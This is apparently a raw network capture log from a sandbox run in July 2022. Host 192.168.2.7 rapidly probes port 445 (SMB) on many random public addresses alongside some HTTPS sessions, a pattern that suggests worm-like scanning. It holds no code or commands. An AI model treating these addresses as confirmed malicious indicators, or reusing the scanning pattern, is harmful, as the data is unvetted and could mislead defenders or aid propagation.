Jul 20, 2022 13:24:54.937381029 CEST	51127	445	192.168.2.7	8.41.88.191
Jul 20, 2022 13:24:54.967654943 CEST	51128	445	192.168.2.7	70.141.55.78
Jul 20, 2022 13:24:54.982939005 CEST	51129	445	192.168.2.7	220.59.225.209
Jul 20, 2022 13:24:54.983844042 CEST	51130	445	192.168.2.7	4.5.91.105
Jul 20, 2022 13:24:54.984400988 CEST	51131	445	192.168.2.7	48.117.14.175
Jul 20, 2022 13:24:54.985016108 CEST	51132	445	192.168.2.7	181.34.234.127
Jul 20, 2022 13:24:54.985533953 CEST	51133	445	192.168.2.7	202.97.37.15
Jul 20, 2022 13:24:54.986063957 CEST	51134	445	192.168.2.7	167.113.78.106
Jul 20, 2022 13:24:54.986555099 CEST	51135	445	192.168.2.7	83.252.240.10
Jul 20, 2022 13:24:54.989574909 CEST	443	51116	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.990745068 CEST	51116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.991717100 CEST	51116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.991735935 CEST	443	51116	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:54.997030020 CEST	51116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:54.997059107 CEST	443	51116	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.014064074 CEST	51137	445	192.168.2.7	136.9.16.191
Jul 20, 2022 13:24:55.015019894 CEST	51138	445	192.168.2.7	14.152.110.189
Jul 20, 2022 13:24:55.034513950 CEST	445	51135	83.252.240.10	192.168.2.7
Jul 20, 2022 13:24:55.083537102 CEST	443	51116	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.083615065 CEST	443	51116	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.083664894 CEST	51116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.083695889 CEST	51116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.084029913 CEST	51116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.084057093 CEST	443	51116	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.084064960 CEST	51116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.084249973 CEST	51116	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.086863995 CEST	51139	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.086908102 CEST	443	51139	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.087110996 CEST	51139	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.087402105 CEST	51139	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.087413073 CEST	443	51139	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.202162027 CEST	51140	445	192.168.2.7	11.73.104.192
Jul 20, 2022 13:24:55.231944084 CEST	443	51139	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.232111931 CEST	51139	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.232769012 CEST	51141	445	192.168.2.7	185.15.42.17
Jul 20, 2022 13:24:55.235300064 CEST	51139	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.235321999 CEST	443	51139	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.238444090 CEST	51139	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.238465071 CEST	443	51139	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.246773005 CEST	51142	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:55.246829987 CEST	443	51142	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:55.247519970 CEST	51142	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:55.248806953 CEST	51142	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:55.248840094 CEST	443	51142	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:55.264949083 CEST	51143	445	192.168.2.7	7.169.169.149
Jul 20, 2022 13:24:55.327497005 CEST	443	51139	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.327564955 CEST	443	51139	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.327608109 CEST	51139	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.327662945 CEST	51139	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.328811884 CEST	51139	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.328835011 CEST	443	51139	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.328846931 CEST	51139	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.328913927 CEST	51139	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.334853888 CEST	51144	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.334897041 CEST	443	51144	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.335048914 CEST	51144	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.344747066 CEST	443	51142	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:55.344994068 CEST	51142	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:55.347848892 CEST	51142	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:55.347876072 CEST	443	51142	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:55.348284006 CEST	443	51142	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:55.358685017 CEST	51142	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:55.358727932 CEST	51142	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:55.358745098 CEST	443	51142	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:55.359150887 CEST	51142	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:55.380584955 CEST	51144	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.380605936 CEST	443	51144	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.388643980 CEST	443	51142	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:55.388712883 CEST	443	51142	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:55.388791084 CEST	51142	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:55.388912916 CEST	51142	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:24:55.388936996 CEST	443	51142	20.199.120.85	192.168.2.7
Jul 20, 2022 13:24:55.451453924 CEST	51146	445	192.168.2.7	112.78.235.111
Jul 20, 2022 13:24:55.451951981 CEST	51147	445	192.168.2.7	60.96.245.71
Jul 20, 2022 13:24:55.530543089 CEST	443	51144	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.530651093 CEST	51144	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.547218084 CEST	51144	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.547240973 CEST	443	51144	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.550005913 CEST	51144	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.550024033 CEST	443	51144	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.567593098 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.567641020 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.567727089 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.568058968 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.568070889 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.591464043 CEST	51135	445	192.168.2.7	83.252.240.10
Jul 20, 2022 13:24:55.627450943 CEST	443	51144	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.627523899 CEST	443	51144	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.627593040 CEST	51144	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.627639055 CEST	51144	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.627737045 CEST	51144	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.627759933 CEST	443	51144	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.627774954 CEST	51144	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.627818108 CEST	51144	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.630372047 CEST	51149	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.630419970 CEST	443	51149	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.630508900 CEST	51149	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.630824089 CEST	51149	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.630841017 CEST	443	51149	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.642046928 CEST	445	51135	83.252.240.10	192.168.2.7
Jul 20, 2022 13:24:55.659219027 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.659380913 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.663197994 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.663219929 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.663661003 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.664643049 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.712503910 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.732809067 CEST	51151	445	192.168.2.7	131.35.242.86
Jul 20, 2022 13:24:55.748989105 CEST	51152	445	192.168.2.7	119.1.61.135
Jul 20, 2022 13:24:55.770772934 CEST	443	51149	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.770920038 CEST	51149	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.771409988 CEST	51149	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.771431923 CEST	443	51149	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.790474892 CEST	51149	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.790493011 CEST	443	51149	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.832293987 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.832331896 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.832357883 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.832501888 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.832526922 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.832549095 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.832585096 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.832596064 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.832604885 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.832645893 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.832672119 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.832679987 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.832721949 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.832729101 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.832776070 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.835524082 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.835556984 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.835573912 CEST	51148	443	192.168.2.7	20.54.89.106
Jul 20, 2022 13:24:55.835582018 CEST	443	51148	20.54.89.106	192.168.2.7
Jul 20, 2022 13:24:55.847773075 CEST	443	51149	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.847867012 CEST	443	51149	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.847878933 CEST	51149	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.848068953 CEST	51149	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.848261118 CEST	51149	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.848278999 CEST	443	51149	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.848304033 CEST	51149	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.848347902 CEST	51149	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.850873947 CEST	51153	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.850933075 CEST	443	51153	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.851053953 CEST	51153	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.851382017 CEST	51153	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.851407051 CEST	443	51153	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.860542059 CEST	51155	445	192.168.2.7	192.54.227.46
Jul 20, 2022 13:24:55.929106951 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:55.929160118 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:55.929249048 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:55.929689884 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:55.929708004 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:55.952416897 CEST	51157	445	192.168.2.7	73.50.214.142
Jul 20, 2022 13:24:55.952442884 CEST	51158	445	192.168.2.7	219.72.137.23
Jul 20, 2022 13:24:55.991215944 CEST	443	51153	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.991313934 CEST	51153	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.992057085 CEST	51153	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.992083073 CEST	443	51153	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.997212887 CEST	51153	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:55.997242928 CEST	443	51153	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:55.999778986 CEST	51159	445	192.168.2.7	214.232.87.62
Jul 20, 2022 13:24:56.000510931 CEST	51160	445	192.168.2.7	151.20.215.49
Jul 20, 2022 13:24:56.001219988 CEST	51161	445	192.168.2.7	114.106.125.197
Jul 20, 2022 13:24:56.002146959 CEST	51162	445	192.168.2.7	108.54.251.95
Jul 20, 2022 13:24:56.002851963 CEST	51163	445	192.168.2.7	176.88.13.245
Jul 20, 2022 13:24:56.003601074 CEST	51164	445	192.168.2.7	13.22.7.222
Jul 20, 2022 13:24:56.004272938 CEST	51165	445	192.168.2.7	45.10.242.45
Jul 20, 2022 13:24:56.004945993 CEST	51166	445	192.168.2.7	61.102.247.76
Jul 20, 2022 13:24:56.030431986 CEST	51167	445	192.168.2.7	4.102.48.221
Jul 20, 2022 13:24:56.031167030 CEST	51168	445	192.168.2.7	36.193.91.93
Jul 20, 2022 13:24:56.041424036 CEST	445	51160	151.20.215.49	192.168.2.7
Jul 20, 2022 13:24:56.061176062 CEST	51169	445	192.168.2.7	36.86.68.142
Jul 20, 2022 13:24:56.067646980 CEST	443	51153	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.067738056 CEST	443	51153	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.068025112 CEST	51153	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.068054914 CEST	443	51153	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.068124056 CEST	51153	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.068212986 CEST	51153	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.071371078 CEST	51170	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.071418047 CEST	443	51170	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.071731091 CEST	51170	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.071918964 CEST	51170	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.071933985 CEST	443	51170	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.072499037 CEST	445	51163	176.88.13.245	192.168.2.7
Jul 20, 2022 13:24:56.092816114 CEST	51171	445	192.168.2.7	106.94.173.101
Jul 20, 2022 13:24:56.108345985 CEST	51172	445	192.168.2.7	48.124.150.11
Jul 20, 2022 13:24:56.109194040 CEST	51173	445	192.168.2.7	129.179.210.124
Jul 20, 2022 13:24:56.109968901 CEST	51174	445	192.168.2.7	57.174.140.45
Jul 20, 2022 13:24:56.110717058 CEST	51175	445	192.168.2.7	20.175.250.229
Jul 20, 2022 13:24:56.111845970 CEST	51176	445	192.168.2.7	219.194.81.65
Jul 20, 2022 13:24:56.112550974 CEST	51177	445	192.168.2.7	200.167.107.182
Jul 20, 2022 13:24:56.113341093 CEST	51178	445	192.168.2.7	48.188.240.79
Jul 20, 2022 13:24:56.146915913 CEST	51179	445	192.168.2.7	197.36.107.22
Jul 20, 2022 13:24:56.147977114 CEST	51180	445	192.168.2.7	101.215.170.232
Jul 20, 2022 13:24:56.211339951 CEST	443	51170	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.211441040 CEST	51170	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.212498903 CEST	51170	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.212516069 CEST	443	51170	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.219707012 CEST	51170	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.219722033 CEST	443	51170	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.303723097 CEST	443	51170	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.303783894 CEST	443	51170	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.303843021 CEST	51170	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.303874016 CEST	51170	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.303982019 CEST	51170	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.304002047 CEST	443	51170	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.304043055 CEST	51170	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.304069042 CEST	51170	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.306585073 CEST	51182	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.306627989 CEST	443	51182	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.306720018 CEST	51182	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.307056904 CEST	51182	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.307068110 CEST	443	51182	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.311567068 CEST	51183	445	192.168.2.7	185.15.42.18
Jul 20, 2022 13:24:56.326998949 CEST	51184	445	192.168.2.7	98.156.205.17
Jul 20, 2022 13:24:56.389349937 CEST	51185	445	192.168.2.7	54.41.137.214
Jul 20, 2022 13:24:56.404089928 CEST	50852	445	192.168.2.7	93.22.219.1
Jul 20, 2022 13:24:56.435635090 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.435789108 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.437762022 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.437783957 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.438103914 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.439611912 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.450453997 CEST	443	51182	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.450612068 CEST	51182	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.452521086 CEST	51182	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.452550888 CEST	443	51182	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.454571962 CEST	51182	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.454608917 CEST	443	51182	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.484503031 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.539283037 CEST	443	51182	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.539362907 CEST	443	51182	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.539402962 CEST	51182	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.539427042 CEST	51182	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.546565056 CEST	51182	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.546613932 CEST	443	51182	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.546624899 CEST	51182	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.546658993 CEST	51182	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.591588020 CEST	51160	445	192.168.2.7	151.20.215.49
Jul 20, 2022 13:24:56.591589928 CEST	51163	445	192.168.2.7	176.88.13.245
Jul 20, 2022 13:24:56.595346928 CEST	51187	445	192.168.2.7	22.115.110.80
Jul 20, 2022 13:24:56.596029043 CEST	51188	445	192.168.2.7	149.19.49.124
Jul 20, 2022 13:24:56.606770039 CEST	51189	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.606848001 CEST	443	51189	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.606951952 CEST	51189	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.611737967 CEST	51189	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.611774921 CEST	443	51189	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.632838011 CEST	445	51160	151.20.215.49	192.168.2.7
Jul 20, 2022 13:24:56.659930944 CEST	445	51163	176.88.13.245	192.168.2.7
Jul 20, 2022 13:24:56.761588097 CEST	443	51189	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.761709929 CEST	51189	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.766520023 CEST	51189	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.766551971 CEST	443	51189	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.772085905 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.772144079 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.772254944 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.772303104 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.772322893 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.772351027 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.772401094 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.772689104 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.772747040 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.772808075 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.772819996 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.772840023 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.772859097 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.772880077 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.772892952 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.772916079 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.773004055 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.773082018 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.779894114 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.779926062 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.779966116 CEST	51156	443	192.168.2.7	40.125.122.176
Jul 20, 2022 13:24:56.779978037 CEST	443	51156	40.125.122.176	192.168.2.7
Jul 20, 2022 13:24:56.820317030 CEST	51189	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.820364952 CEST	443	51189	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.858321905 CEST	51191	445	192.168.2.7	141.202.216.43
Jul 20, 2022 13:24:56.873727083 CEST	51192	445	192.168.2.7	68.71.169.51
Jul 20, 2022 13:24:56.896163940 CEST	443	51189	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.896281004 CEST	443	51189	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.896356106 CEST	51189	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.896384954 CEST	51189	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.902295113 CEST	51189	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.902352095 CEST	443	51189	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.902367115 CEST	51189	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.902412891 CEST	51189	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.906048059 CEST	51193	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.906094074 CEST	443	51193	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.906177044 CEST	51193	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.909956932 CEST	51193	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:56.909984112 CEST	443	51193	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:56.982883930 CEST	51194	445	192.168.2.7	55.250.230.84
Jul 20, 2022 13:24:57.063705921 CEST	443	51193	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:57.063795090 CEST	51193	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:57.065406084 CEST	51193	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:57.065428019 CEST	443	51193	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:57.067840099 CEST	51193	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:57.067858934 CEST	443	51193	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:57.077682018 CEST	51197	445	192.168.2.7	160.127.105.251
Jul 20, 2022 13:24:57.078444004 CEST	51198	445	192.168.2.7	182.137.51.200
Jul 20, 2022 13:24:57.108565092 CEST	51199	445	192.168.2.7	187.215.213.85
Jul 20, 2022 13:24:57.109338999 CEST	51200	445	192.168.2.7	187.131.247.215
Jul 20, 2022 13:24:57.110038042 CEST	51201	445	192.168.2.7	61.51.35.239
Jul 20, 2022 13:24:57.110860109 CEST	51202	445	192.168.2.7	5.240.140.201
Jul 20, 2022 13:24:57.111669064 CEST	51203	445	192.168.2.7	68.232.159.192
Jul 20, 2022 13:24:57.112371922 CEST	51204	445	192.168.2.7	120.125.212.15
Jul 20, 2022 13:24:57.113059044 CEST	51205	445	192.168.2.7	24.231.77.47
Jul 20, 2022 13:24:57.113763094 CEST	51206	445	192.168.2.7	189.155.57.31
Jul 20, 2022 13:24:57.148569107 CEST	445	51202	5.240.140.201	192.168.2.7
Jul 20, 2022 13:24:57.148689032 CEST	51202	445	192.168.2.7	5.240.140.201
Jul 20, 2022 13:24:57.148745060 CEST	443	51193	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:57.148838997 CEST	51193	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:57.148859024 CEST	443	51193	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:57.148885012 CEST	443	51193	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:57.148912907 CEST	51193	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:57.148941040 CEST	51193	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:57.149328947 CEST	51207	445	192.168.2.7	5.240.140.1
Jul 20, 2022 13:24:57.149463892 CEST	51193	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:57.149488926 CEST	443	51193	20.238.103.94	192.168.2.7
Jul 20, 2022 13:24:57.149498940 CEST	51193	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:57.149542093 CEST	51193	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:24:57.154948950 CEST	51208	445	192.168.2.7	61.80.245.180
Jul 20, 2022 13:24:57.155091047 CEST	51209	445	192.168.2.7	48.90.26.132
Jul 20, 2022 13:24:57.186872005 CEST	51210	445	192.168.2.7	216.167.14.132
Jul 20, 2022 13:24:57.217875957 CEST	51211	445	192.168.2.7	152.217.95.90
Jul 20, 2022 13:24:57.233023882 CEST	51212	445	192.168.2.7	116.210.113.158
Jul 20, 2022 13:24:57.233558893 CEST	51213	445	192.168.2.7	43.139.243.79
Jul 20, 2022 13:24:57.234136105 CEST	51214	445	192.168.2.7	26.193.176.250
Jul 20, 2022 13:24:57.234663963 CEST	51215	445	192.168.2.7	183.158.100.73
Jul 20, 2022 13:24:57.235255957 CEST	51216	445	192.168.2.7	160.58.68.187
Jul 20, 2022 13:24:57.235857964 CEST	51217	445	192.168.2.7	153.203.141.38
